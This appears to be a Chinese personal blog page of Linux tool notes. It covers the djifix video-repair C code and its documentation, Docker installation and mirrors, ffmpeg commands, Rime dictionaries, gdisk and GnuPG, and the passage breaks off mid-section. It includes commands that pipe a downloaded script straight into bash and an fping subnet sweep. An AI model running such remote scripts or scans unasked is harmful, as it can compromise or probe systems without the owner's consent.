/* Backup to the assumed "nalSize" position */
if (fseek(inputFID, -2, SEEK_CUR) != 0) break;
metadataIsPrintable = 0; // assumed from now on
}
continue;
} else if (nalSize == 0x00fe462f) {
/* This 4-byte 'NAL size' is really the start of a 0x100-byte block from a 'metadata' track.
Skip over it:
*/
if (++printableMetadataCount == 1) {
// For the first occurrence of this metadata, print it out:
unsigned long savePos = ftell(inputFID);
unsigned char c;

fprintf(stderr, "\nSaw initial metadata block:");
fprintf(stderr, "%c", 0x46); fprintf(stderr, "%c", 0x2f); // start of printable data
do {
c = fgetc(inputFID);
fprintf(stderr, "%c", c);
} while (c != '\n');
fseek(inputFID, savePos, SEEK_SET); /* restore our old position */
}
if (fseek(inputFID, 0x100-4, SEEK_CUR) != 0) break;
continue;
} else if ((nalSize&0xFFFF0000) == 0x1A2D0000) {
/* This 4-byte 'NAL size' is really the start of a 'track 3' metadata block.
Skip over it:
*/
unsigned assumedBlockSize = 0x2F + (nalSize&0x0000FFF0)-0x0A00;
// fprintf(stderr, "\t#####@@@@@7.5 assumedBlockSize: %x\n", assumedBlockSize);
if (fseek(inputFID, assumedBlockSize-4, SEEK_CUR) != 0) break;
continue;
} else if ((nalSize&0xFFFE0000) == 0x1A2E0000) {
/* This 4-byte 'NAL size' is really the start of a 'track 2' metadata block.
Skip over it:
*/
if (fseek(inputFID, 0x30+((nalSize&0x00010000)?1:0)-4, SEEK_CUR) != 0) break;
continue;
} else if ((nalSize&0xFFF00000) == 0x1A700000) {
/* This 4-byte 'NAL size' is really the start of a 'track 3' metadata block.
Skip over it:
*/
if (fseek(inputFID, 0x79 + (nalSize>>16)-0x1A77-4, SEEK_CUR) != 0) break;
continue;
} else if ((nalSize&0xFF800000) == 0x1A800000) {
/* This 4-byte 'NAL size' is really the start of a 'track 2' metadata block.
Skip over it:
*/
unsigned assumedBlockSize;
if ((nalSize&0xFF80FFFF) == 0x1A80010A) { /* special case */
assumedBlockSize = 0x83 + (nalSize>>16)-0x1A80;
// fprintf(stderr, "\t#####@@@@@8 assumedBlockSize: %x\n", assumedBlockSize);
} else if ((nalSize&0xFF80FFFF) == 0x1A80020A) { /* special case */
assumedBlockSize = 0x103 + (nalSize>>16)-0x1A80;
// fprintf(stderr, "\t#####@@@@@9 assumedBlockSize: %x\n", assumedBlockSize);
} else if ((nalSize&0xFF80FFFF) == 0x1A80030A) { /* special case */
assumedBlockSize = 0x183 + (nalSize>>16)-0x1A80;
// fprintf(stderr, "\t#####@@@@@A assumedBlockSize: %x\n", assumedBlockSize);
} else if ((nalSize&0xFF80FFFF) == 0x1A80040A) { /* special case */
assumedBlockSize = 0x203 + (nalSize>>16)-0x1A80;
// fprintf(stderr, "\t#####@@@@@B assumedBlockSize: %x\n", assumedBlockSize);
} else if ((nalSize&0xFF80FFFF) == 0x1A80070A) { /* special case */
assumedBlockSize = 0x303 + (nalSize>>16)-0x1A00;
// fprintf(stderr, "\t#####@@@@@C assumedBlockSize: %x\n", assumedBlockSize);
} else if ((nalSize&0xFF80FFFF) == 0x1A80080A) { /* special case */
assumedBlockSize = 0x403 + (nalSize>>16)-0x1A80;
// fprintf(stderr, "\t#####@@@@@D assumedBlockSize: %x\n", assumedBlockSize);
} else if ((nalSize&0xFF80FFFF) == 0x1A800D0A) { /* special case */
assumedBlockSize = 0x603 + (nalSize>>16)-0x1A00;
// fprintf(stderr, "\t#####@@@@@E assumedBlockSize: %x\n", assumedBlockSize);
} else if ((nalSize&0xFF80FFFF) == 0x1A800E0A) { /* special case */
assumedBlockSize = 0x703 + (nalSize>>16)-0x1A80;
// fprintf(stderr, "\t#####@@@@@F assumedBlockSize: %x\n", assumedBlockSize);
} else {
assumedBlockSize = (nalSize>>16)-0x177d;
// fprintf(stderr, "\t#####@@@@@G assumedBlockSize: %x\n", assumedBlockSize);
}
if (fseek(inputFID, assumedBlockSize-4, SEEK_CUR) != 0) break;
continue;
} else if ((nalSize&0xFFFF0000) == 0x211B0000 ||
(nalSize&0xFFFF0000) == 0x212B0000 ||
(nalSize&0xFFFF0000) == 0x214D0000 ||
(nalSize&0xFFFF0000) == 0x217B0000) {
/* This 4-byte 'NAL size' is really the start of a 'track 2' metadata block.
(Unfortunately we can't easily deduce the block size, but we know that
the start of the following block will probably satisfy
(first4Bytes&0xFFF0FFF0) == 0x1A700A00 or
(first4Bytes&0xFF80FFFF) == 0x1A80020A
Skip over it:
*/
while ((next4Bytes&0xFFF0FFF0) != 0x1A700A00 &&
(next4Bytes&0xFF80FFFF) != 0x1A80020A) {
unsigned char nextByte;

if (!get1Byte(inputFID, &nextByte)) return;
next4Bytes = (next4Bytes<<8)|nextByte;
}
if (fseek(inputFID, -4, SEEK_CUR) != 0) break; // seek back; we'll reread it next
continue;
} else if (nalSize == 0x44332211) {
/* This 4-byte 'NAL size' is really the start of a 'track 4' metadata block
of size 0x00161528 or 0x001d7278 (we want to see a 0x1A next).
Skip over it:
*/
if (fseek(inputFID, 0x00161528-4, SEEK_CUR) != 0) break;

{
unsigned char nextByte;
if (!get1Byte(inputFID, &nextByte)) return;
if (nextByte == 0x1A) {
if (fseek(inputFID, -1, SEEK_CUR) != 0) break;
continue;
}
}

if (fseek(inputFID, 0x001d7278-0x00161528-1, SEEK_CUR) != 0) break;
continue;
} else if (nalSize == 0 || nalSize > 0x00FFFFFF) {
unsigned long filePosition = ftell(inputFID)-4;

fprintf(stderr, "\n(Anomalous NAL unit size 0x%08x @ file position 0x%08lx (%lu MBytes))\n", nalSize, filePosition, filePosition/1000000);
fprintf(stderr, "(We can't repair any more than %lu MBytes of this file - sorry...)\n", filePosition/1000000);
/* We can't recover from this, so stop here: */
break;
}

putStartCode(outputFID);
while (nalSize-- > 0) {
wr(fgetc(inputFID));
}
}
}
}

官网介绍:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
下面是**全文中文翻译**(保持原结构与技术含义,不做删减、不做发挥,适合存档或笔记)。
---
# 修复损坏的 DJI 视频文件
有时,如果你在 **尚未停止录像** 的情况下意外关闭了 DJI 无人机(Phantom、Mavic、Spark Inspire)的电源,就会留下一个 **损坏且无法播放的视频文件**。
用户手册中建议:
> “请将 Micro-SD 卡保留或重新插回相机,重新给相机上电,并等待大约 30 秒,视频文件将被恢复。”
这个方法**通常有效**,但有时仍然会留下一个损坏的视频文件。
本页面解释了该问题的原因,并提供了可用于修复此类文件的软件。
---
## 问题说明
本节假定你对 MP4 文件格式有一定了解。如果你只关心用于修复损坏视频文件的软件,可以跳过本节。
目前发现,损坏的视频文件大致有 **三种基本情况**。
---
### 第一种损坏情况(最常见)
损坏的视频文件在表面上看起来仍然是一个 **正确的 MP4 文件**:
* 文件以 `ftyp` `moov` box(原子)开始
* 后面跟着一个 `mdat`(movie data,视频数据)box
正常情况下,`mdat` 中应包含原始视频数据(H.264 NAL 单元)。
但在这种损坏文件中,`mdat` 内部却包含了 **新的 `ftyp`、`moov` `mdat` box**,而这些新的 box 本身构成了一个 **完整、有效的 MP4 视频文件**。
因此,这类文件的修复方式很简单:
> 跳过最前面的 `ftyp` `moov` box,以及第一个 `mdat` box 的头部,把后面的数据复制到一个新文件中即可。
---
### 第二种损坏情况(常见于坠机)
另一种损坏情况(尤其在坠机后)是:
* 文件 **完全不包含任何 MP4 格式数据**
* 文件内容只是一连串 **原始 H.264 NAL 单元**
* 每个 NAL 单元前面都有一个 **4 字节长度字段**
* 第一个 NAL 单元的长度为 **2 字节**
在这种情况下:
* 文件可以被修复
* 但修复结果将是 **`.h264` 裸视频文件**,而不是 MP4 文件
这种 `.h264` 文件:
* 可能可以用 **VLC 播放器**播放
* 或在 macOS 上用 **IINA 播放器**
* 但可能无法被其他播放器或视频编辑软件识别
不过,该文件仍然可以:
* 使用 **MiroVideoConverter** 转码为 MP4
* 或使用 `ffmpeg -c copy` 直接封装为 MP4 文件
---
### 第三种损坏情况(未正确结束写入)
还有一种可能:
* 文件开头是正常的 MP4(`ftyp` + `moov`)
* 后面跟着包含原始视频数据的 `mdat`
* 但在 `mdat` 之后的 **文件尾部不正确**
* 原因通常是文件没有被正确“封口”(finalize)
在这种情况下:
* 因为 `mdat` 中仍然包含原始视频数据
* 可以采用与第二种情况相同的方式进行修复
* 修复结果同样是 **`.h264` 裸视频文件**
---
## 用于修复损坏视频文件的软件
命令行程序 **`djifix`** 可以修复许多损坏的 DJI 视频文件。
注意事项:
* 本软件 **仅适用于 DJI Phantom、Mavic、Spark、Inspire 无人机或 DJI Osmo 相机生成的视频**
* **不是通用的视频修复工具**
* 修复对象必须是 **无人机 SD 卡中原始生成的文件**
* 不能是其他修复软件生成或修改过的文件
---
## 预编译的应用程序(二进制文件)
### macOS(x86 架构,64 位)
#### 使用说明:
1. 下载文件 `djifix`,并将其移动到 **“Movies(影片)”** 文件夹
2. 某些浏览器会将文件命名为 `djifix.dms`
如是,请将其重命名为 **`djifix`(不带扩展名)**
3. 将需要修复的视频文件也放入 **Movies** 文件夹
4. 打开 **终端(Terminal)**
(位于 Applications Utilities Terminal)
5. 在终端中依次输入:
```bash
cd Movies
chmod +x djifix
./djifix 要修复的视频文件名(包含 .MP4 .MOV 后缀)
```
---
## 源代码
当前版本:**2026-02-28**
如果你具备软件开发环境(C 编译器),可以自行编译 `djifix.c`(基于 GNU GPL 许可证发布)。
### 编译方法:
```bash
cc -O -o djifix djifix.c
```
### 运行:
```bash
djifix 要修复的视频文件名(包含 .MP4 .MOV 后缀)
```
---
## 如果程序无法修复你的文件
如果你有 **`djifix` 无法修复** 的文件:
* 请将文件上传到网络(**不要压缩**)
* 然后把下载地址通过邮件发送到:
```
djifix@live555.com
```
开发者会查看你的文件,并评估是否可以更新软件以支持该格式。
---
### 重要提示
* 如果视频文件 **小于 10MB**,说明只包含极短的视频片段,**不值得尝试修复**
* 发送邮件前,请先阅读下方 FAQ
* 官方不提供免费的“一对一”人工协助
如果你不想自己运行 `djifix`,可以付费请官方代为修复:
* 若文件无法修复,费用将全额退还
* 官方也可 **将修复得到的 `.h264` 文件转换为 `.mp4` 文件**(收费服务)
---
## 常见问题(FAQ)
### 修复后的视频缺少坠机瞬间,能恢复吗?
不能。
`djifix` 会恢复它能找到的所有视频数据,但**最后几秒视频可能从未写入 SD 卡**。
相机与编码器通常会在 RAM 中缓存几秒数据,断电后这些数据会丢失。
---
### 修复后的文件无法播放,为什么?
* 如果输出文件是 `.h264`:
* 只能用 VLC IINA 播放
* 若仍无法播放,说明你在修复时选择了 **错误的视频格式编号**
* 重新运行 `djifix`,选择其他格式编号再试
* 如果输出文件是 `.mp4` 但无法播放:
* 再次运行 `djifix`,对该修复文件再修一次
* 通常会得到一个 `.h264` 文件
---
### 如何把 `.h264` 转成 `.mp4`?
推荐使用 `ffmpeg`:
```bash
ffmpeg -i DJI_XYZW-repaired.h264 -c copy DJI_XYZW-repaired.mp4
```
(将 `DJI_XYZW` 替换为你的文件名)
也可使用 **MiroVideoConverter**(但会重新编码,略有画质损失)。
---
### 我的录像格式不在支持列表中,可以更新软件吗?
有可能。
请提供一个 **该格式的正常示例视频**(几秒即可),上传后把链接发送到 `djifix@live555.com`。
---
### 程序提示文件只包含 0 或 0xFF,怎么办?
无法修复。
文件内容全为 0 或全为 1,说明数据已完全丢失。
---
### 修复后播放画面卡顿?
请确认 VLC 版本 **2.2.8**。
---
### 能修复 DJI Osmo 的视频吗?
可能可以,但:
* **只能恢复视频轨**
* **不恢复音频**
---
### macOS 提示 “Illegal instruction”?
说明你的 macOS 版本过旧。
请升级系统,或自行从源码编译。
---
**版权声明**
© Live Networks, Inc. 保留所有权利
“djifix”为 Live Networks, Inc. 的商标

Docker-ce

安装docker

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
# 官网安装docker
https://docs.docker.com/engine/install/debian/
# Add Docker's official GPG key:
sudo apt-get update
sudo apt-get install ca-certificates curl gnupg
sudo install -m 0755 -d /etc/apt/keyrings
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
sudo chmod a+r /etc/apt/keyrings/docker.gpg

# Add the repository to Apt sources:
echo \
"deb [arch="$(dpkg --print-architecture)" signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/debian \
"$(. /etc/os-release && echo "$VERSION_CODENAME")" stable" | \
sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt-get update
sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
# 测试
sudo docker run hello-world

# 官方一键安装:
https://ruxi.org/484.html
curl -fsSL https://get.docker.com | bash
使用阿里源安装:
curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun


#### 国内镜像安装docker:
参考:
https://github.com/y0ngb1n/dockerized
https://gist.github.com/y0ngb1n/7e8f16af3242c7815e7ca2f0833d3ea6
https://juejin.cn/post/7135739035158315022

方法1:
sudo apt-get remove docker docker-engine docker.io
sudo apt-get install apt-transport-https ca-certificates curl gnupg2 software-properties-common
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -
sudo add-apt-repository \
"deb [arch=amd64] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian \
$(lsb_release -cs) \
stable"
sudo apt-get update
sudo apt-get install docker-ce

方法2:
curl -fsSL http://mirrors.aliyun.com/docker-ce/linux/ubuntu/gpg | apt-key add -
sudo add-apt-repository "deb [arch=amd64] http://mirrors.aliyun.com/docker-ce/linux/ubuntu $(lsb_release -cs) stable"
sudo apt update
sudo apt install docker-ce

方法3:
sudo apt-get remove docker docker-engine docker.io containerd runc
sudo apt-get update
sudo apt-get install \
apt-transport-https \
ca-certificates \
curl \
software-properties-common
curl -fsSL https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/gpg | sudo apt-key add -
sudo add-apt-repository \
"deb [arch=amd64] https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu $(lsb_release -cs) stable"
sudo apt-get update
sudo apt-get install docker-ce docker-ce-cli containerd.io
sudo mkdir -p /etc/docker
sudo tee /etc/docker/daemon.json <<-'EOF'
{
"registry-mirrors": ["https://docker.mirrors.ustc.edu.cn/"]
}
EOF

配置DockerHub镜像

大陆Docker Hub屏蔽原因:https://unsafe.sh/go-244186.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# 配置镜像加速地址(Dockerhub)
配置加速地址
Ubuntu 16.04+、Debian 8+、CentOS 7+
创建或修改 /etc/docker/daemon.json:
sudo mkdir -p /etc/docker
sudo tee /etc/docker/daemon.json <<-'EOF'
{
"registry-mirrors": [
"https://dockerproxy.com",
"https://docker.mirrors.ustc.edu.cn",
"https://docker.nju.edu.cn"
]
}
EOF
sudo systemctl daemon-reload
sudo systemctl restart docker

其他镜像:
阿里云
{
"registry-mirrors":["https://6kx4zyno.mirror.aliyuncs.com"]
}
商业付费:https://taoshu.in/docker-hub-proxy.html
https://docker.lehu.in/
个人提供:
https://lainbo.com/article/build-your-own-docker-mirrors
自建Docker Hub镜像方法
{
"registry-mirrors": ["https://huecker.io"]
}

# 自己搭建:
https://github.com/bboysoulcn/registry-mirror

Eclipse

1
2
3
4
5
6
汉化:
帮助-添加软件:
添加Babel:https://www.eclipse.org/babel/downloads.php
Babel - https://download.eclipse.org/technology/babel/update-site/latest/
Babel-2021-03 - https://download.eclipse.org/technology/babel/update-site/R0.18.3/2021-03/
自行安装即可。

Extremetuxracer

Linux企鹅滑雪比赛

Fcifx-rime——中州韵输入法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
关于Rime的推荐文章:https://byvoid.com/zht/blog/recommend-rime/
中州韵输入法添加词库:
示例文章:
https://gist.github.com/lotem/5443073
https://github.com/rime-aca/dictionaries
https://www.cnblogs.com/dylanchu/p/11507492.html

### 添加自定义词库(明月拼音):
## 推荐方法:
1. git clone https://github.com/rime-aca/dictionaries.git
下载词库得到配置文件:luna_pinyin_simp.custom.yaml
内容:
# 附朙月拼音系列方案與其對應的 id 一覽表:
# 輸入方案 id
# 朙月拼音 luna_pinyin
# 朙月拼音·简化字 luna_pinyin_simp
# 朙月拼音·臺灣正體 luna_pinyin_tw
# 朙月拼音·語句流 luna_pinyin_fluency
#

patch:
# 載入自己的詞庫
"translator/dictionary": luna_pinyin.mine
# 改寫拼寫運算,使得含西文的詞彙(位於 luna_pinyin.cn_en.dict.yaml 中)不影響簡拼功能(注意,此功能只適用於朙月拼音系列方案,不適用於各類雙拼方案)
# 本條補靪只在「小狼毫 0.9.30」、「鼠鬚管 0.9.25 」、「Rime-1.2」及更高的版本中起作用。
"speller/algebra/@before 0": xform/^([b-df-hj-np-tv-z])$/$1_/
内容结束。
2.设置自己的词库:
内容:
---
name: luna_pinyin.mine
version: "2021.01.02"
sort: by_weight
use_preset_vocabulary: true
import_tables:
- luna_pinyin
...

一一列舉 1
张三 z s 1
内容结束。
3.在extend中添加自己的词库名称:
内容:
---
name: luna_pinyin.extended
version: "2015.12.02"
sort: by_weight
use_preset_vocabulary: true
#此處爲明月拼音擴充詞庫(基本)默認鏈接載入的詞庫,有朙月拼音官方詞庫、明月拼音擴充詞庫(漢語大詞典)、明月拼音擴充詞庫(詩詞)、明月拼音擴充詞庫(含西文的詞彙)。如果不需要加載某个詞庫請將其用「#」註釋掉。
#雙拼不支持 luna_pinyin.cn_en 詞庫,請用戶手動禁用。
import_tables:
- luna_pinyin
- luna_pinyin.mine
...
内容结束。
4.重新部署 -> 成功

## ->没整成功的方法
1.首先新建yaml配置文件:
vi luna_pinyin.syz202101.yaml
内容:
# luna_pinyin.syz202101.yaml
# 修改字典名爲 luna_pinyin.syz202101
# 其對應的用戶詞典名取句點之前部分即 luna_pinyin

patch:
translator/dictionary: luna_pinyin.syz202101
内容结束

2.新建词典:
nano luna_pinyin.syz202101.dict.yaml
内容:
# Rime dictionary
# encoding: utf-8

---
name: luna_pinyin.kunki
version: "2013.04.23"
sort: by_weight
use_preset_vocabulary: true
# 從 luna_pinyin.dict.yaml 導入包含單字的碼表
import_tables:
- luna_pinyin
...

# table begins

# 自定義的詞條
瑾昀 jin yun 100
瑾昀 kun ki 100
自動註音的詞
又一個詞
再一個詞

内容结束

Ffmpeg

常用命令:(其他资源:个人向常用ffmpeg命令总结 )

  • 视频+音频:

    • ffmpeg -an -i 【视频文件】 -stream_loop -1 -i 【音频文件】 -c:v copy -t 【视频时长】 out.mp4
    • ffmpeg -an -i 【视频文件】 -stream_loop -1 -i 【音频文件】 -t 【视频时长】 out2.mp4
  • 提取画面:ffmpeg -i 【视频文件】 -vcodec copy -an out.mp4

  • 提取封面(会报错但不影响使用):ffmpeg -ss 【时间节点】 -i 【输入视频文件】 【输出图片文件】 -r 1 -frames:v 1 -an -vcodec mjpeg

  • 提取音频:ffmpeg -i 【视频文件】 -acodec copy -vn out.mp3

  • 合并视频、音频:ffmpeg -f concat -i 1.txt -c copy output.mp4

    1
    2
    3
    TXT文件:
    file '1.mp4'
    file '2.mp4'
  • 裁剪视频:ffmpeg -ss 0:0:0 -to 0:29:30 -i 【视频文件】 -vcodec copy -acodec copy out.MOV

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
# ffmpeg加速音频、视频
# https://www.jianshu.com/p/ea4af542df6a
# 视频变为2倍速
ffmpeg -i input.mp4 -an -filter:v "setpts=0.5*PTS" output.mp4
# 音频2
ffmpeg -i input.mp4 -filter:a "atempo=2.0" -vn output.mp4
# 音频4
ffmpeg -i input.mp4 -filter:a "atempo=2.0,atempo=2.0" -vn output.mp4
# 音频+视频2
ffmpeg -i input.mp4 -filter_complex "[0:v]setpts=0.5*PTS[v];[0:a]atempo=2.0[a]" -map "[v]" -map "[a]" output.mp4

ffmpeg:
# 合并视频
TXT:
file '1.mp4'
file '2.mp4'

ffmpeg -f concat -i filelist.txt -c copy output.mp4
注意:这一行指令使用了-c copy,说明他只适用于视频切割产生的分段,被合并的视频必须是相同的参数!!如果你需要合并参数不同的视频,把-c copy去掉或者自己写压制参数,参考参数:-c:v libx264 -crf 23 -profile:v high -level 5 -c:a aac -b:a 240k

ffmpeg -f concat -safe 0 -i files.txt -c copy output.mp4

# MOV转MP4
ffmpeg -i 0.MOV -vcodec libx264 -preset fast -crf 0 -y -vf "scale=1920:-1" -acodec libmp3lame -ab 128k new.mp4

ffmpeg -i linux-01-命令行操作的魅力.mov -vcodec libx264 -preset fast -crf 20 -y -vf "scale=1920:-1" -acodec libmp3lame -ab 128k linux-01-命令行操作的魅力.mp4

‘-i filename (input)’ 输入文件名
‘-y (global)’ 覆盖输出文件而不询问
‘-vf filtergraph (output)’ 创建 filtergraph 指定的过滤图,并使用它来过滤流。
‘-vcodec codec (output)’ 设置视频 codec。
‘-acodec codec (input/output)’ 设置音频codec。


# 剪切视频-持续时间
ffmpeg -ss 0:0:0 -to 0:29:30 -i 2.MOV -vcodec copy -acodec copy o.MOV
# -r 提取图像的频率,-ss 开始时间,-t 持续时间
ffmpeg -ss 0:1:30 -t 0:0:20 -i input.avi -vcodec copy -acodec copy output.avi
//剪切视频
ffmpeg -ss 0:1:30 -t 0:0:20 -i input.mp4 -vcodec copy -acodec copy output.mp4
// -ss 开始时间; -t 持续时间

ffmpeg -i input -r 30 -b:a 128k output.mp4
-r 10表示110帧;
-b:a 32k表示音频的码率为32kb/s,即4kB/s;

# 分离视频流
ffmpeg -i input_file -vcodec copy -an output_file_video
# 分离音频流
ffmpeg -i input_file -acodec copy -vn output_file_audio

# 视频解复用:拼接?
ffmpeg –i test.mp4 –vcodec copy –an –f m4v test.264
ffmpeg –i test.avi –vcodec copy –an –f m4v test.264
# 转码为码流原始文件
ffmpeg –i test.mp4 –vcodec h264 –s 352*278 –an –f m4v test.264
# 转码为码流原始文件
# -bf B帧数目控制,-g 关键帧间隔控制,-s 分辨率控制
ffmpeg –i test.mp4 –vcodec h264 –bf 0 –g 25 –s 352*278 –an –f m4v test.264
# 转码为封装文件
ffmpeg –i test.avi -vcodec mpeg4 –vtag xvid –qsame test_xvid.avi

# 视频封装 视频剪切
ffmpeg –i video_file –i audio_file –vcodec copy –acodec copy output_file
# 提取图片
ffmpeg –i test.avi –r 1 –f image2 image-%3d.jpeg
// 视频截图
ffmpeg –i test.mp4 –f image2 -t 0.001 -s 320x240 image-%3d.jpg
// -s 设置分辨率; -f 强迫采用格式fmt;

# 视频录制
ffmpeg –i rtsp://192.168.3.205:5555/test –vcodec copy out.avi

主要参数:
-i 设定输入流
-f 设定输出格式
-ss 开始时间
视频参数:
-b 设定视频流量,默认为200Kbit/s
-r 设定帧速率,默认为25
-s 设定画面的宽与高
-aspect 设定画面的比例
-vn 不处理视频
-vcodec 设定视频编解码器,未设定时则使用与输入流相同的编解码器
音频参数:
-ar 设定采样率
-ac 设定声音的Channel数
-acodec 设定声音编解码器,未设定时则使用与输入流相同的编解码器
-an 不处理音频

更多:
https://blog.michitsoft.com/2009/02/ffmpeg.html

视频转GIF:
ffmpeg -i input.mkv out.gif
改变倍速(原视频60fps 输出30fps):
ffmpeg -r 60 -i input.mkv -r 30 out.gif
来源:https://www.cnblogs.com/lepeCoder/p/7886001.html

Firefox-esr

1
2
3
4
5
6
7
8
安装flash插件:
到 > https://get.adobe.com/cn/flashplayer/ 下载归档文件。

快速安装:
解压 `tar -zxvf install_flash_player_"version"_linux."processor".tar.gz`
里面有一个*.so的文件,移动到`/usr/lib/mozilla/plugins`
`cp libflashplayer.so /usr/lib/mozilla/plugins`
> 完整安装请见压缩包中的文件说明。

Fping

1
2
# ping扫描:
fping -g 192.168.1.0/24

GCM——git-credential-manager

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
repo: https://github.com/git-ecosystem/git-credential-manager
wget https://github.com/git-ecosystem/git-credential-manager/releases/download/v2.6.1/gcm-linux_amd64.2.6.1.deb

GCM弹窗乱码时,临时切换英文:
export LANG=en_US.UTF-8
export LC_ALL=en_US.UTF-8

配置 Git 使用 GCM
git config --global credential.helper manager-core
清除存储的凭证
git credential-manager-core erase

Description:

Usage:
git-credential-manager [command] [options]

Options:
--no-ui Do not use graphical user interface prompts
--version Show version information
-?, -h, --help Show help and usage information

Commands:
get [Git] Return a stored credential
store [Git] Store a credential
erase [Git] Erase a stored credential
configure Configure Git Credential Manager as the Git credential helper
unconfigure Unconfigure Git Credential Manager as the Git credential helper
diagnose Run diagnostics and gather logs to diagnose problems with Git
Credential Manager
azure-repos Commands for interacting with the Azure Repos host provider
github Commands for interacting with the GitHub host provider

Gfdisk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
sudo apt install gptfdisk
@要显示分区表和分区信息,以 /dev/sda 磁盘为例:
# gdisk -l /dev/sda
或者
# sgdisk -p /dev/sda

@备份:
习惯磁盘前,请先备份磁盘的分区表,也可以将磁盘信息备份到相同的设备上。
sgdisk 可以创建一个二进制备份,包含 MBR, GPT 主表头,GPT 备份表头和分区表。下面示例将 /dev/sda 的分区表信息备份到 sgdisk-sda.bin:
# sgdisk -b=sgdisk-sda.bin /dev/sda

@恢复备份:
# sgdisk -l=sgdisk-sda.bin /dev/sda

@如果要复制分区到其它磁盘,例如从 /dev/sda 复制到 /dev/sdc:
# sgdisk -R=/dev/sdc /dev/sda

@如果两个磁盘位于同一个计算机,使用下面命令设置随机的分区 GUIDs:
# sgdisk -G /dev/sdc

@要使用 gdisk, 将要编辑的分区作为命令参数, 例如要编辑 /dev/sda:
#gdisk /dev /sda

Github Actions

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
jobs:
<作业名字>:
runs-on: <运行平台>

steps:
- name: <步骤名字-1>
uses: <使用的工作流模版-1>
run: <需要运行的指令-1>
with:
<工作模版的额外参数-1-1>
<工作模版的额外参数-1-2>

- name: <步骤名字-2>
uses: <使用的工作流模版-2>
run: <需要运行的指令-2>
with:
<工作模版的额外参数-2-1>
<工作模版的额外参数-2-2>

GnuPG

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
## 创建
gpg --full-generate-key

## 列出密钥

gpg --list-keys
/home/ryan/.gnupg/pubring.kbx
-----------------------------
pub ed25519 2026-01-04 [SC] [有效至:2028-01-04]
BC4B36BF11C76C4D99C4************BAEF
uid [ 绝对 ] R*** Y** (常规) <j***@163.com>
sub cv25519 2026-01-04 [E] [有效至:2028-01-04]

gpg --list-secret-keys
/home/ryan/.gnupg/pubring.kbx
-----------------------------
sec ed25519 2026-01-04 [SC] [有效至:2028-01-04]
BC4B36BF11C76C4D99C4************BAEF
uid [ 绝对 ] R*** Y** (常规) <j***@163.com>
ssb cv25519 2026-01-04 [E] [有效至:2028-01-04]

## 目录结构——~/.gnupg/
⚠️ 不要随意复制或删除 private-keys-v1.d 里的文件。
tree ~/.gnupg/

/home/***/.gnupg/
├── openpgp-revocs.d
│ └── <FINGERPRINT>.rev
├── private-keys-v1.d
│ ├── <KEYGRIP_1>.key
│ └── <KEYGRIP_2>.key
├── pubring.kbx
├── pubring.kbx~
└── trustdb.gpg

| 文件 | 作用 |
| ----------------------------- | ---------------------- |
| `~/.gnupg/pubring.kbx` | 公钥库 |
| `~/.gnupg/private-keys-v1.d/` | **私钥目录(最重要)** |
| `~/.gnupg/trustdb.gpg` | 信任数据库 |
| `~/.gnupg/gpg.conf` | 配置文件(可选) |

## 导出密钥
确认:
gpg --list-secret-keys --keyid-format LONG

/home/username/.gnupg/pubring.kbx
--------------------------------
sec ed25519/2************AEF 2026-01-04 [SC] [expires: 2028-01-04]
ABCD1234EFGH5678IJKL************BAEF
uid [ 绝对 ] User Name (常规) <user@example.com>
ssb cv25519/28BC********EE80 2026-01-04 [E] [expires: 2028-01-04]

导出:
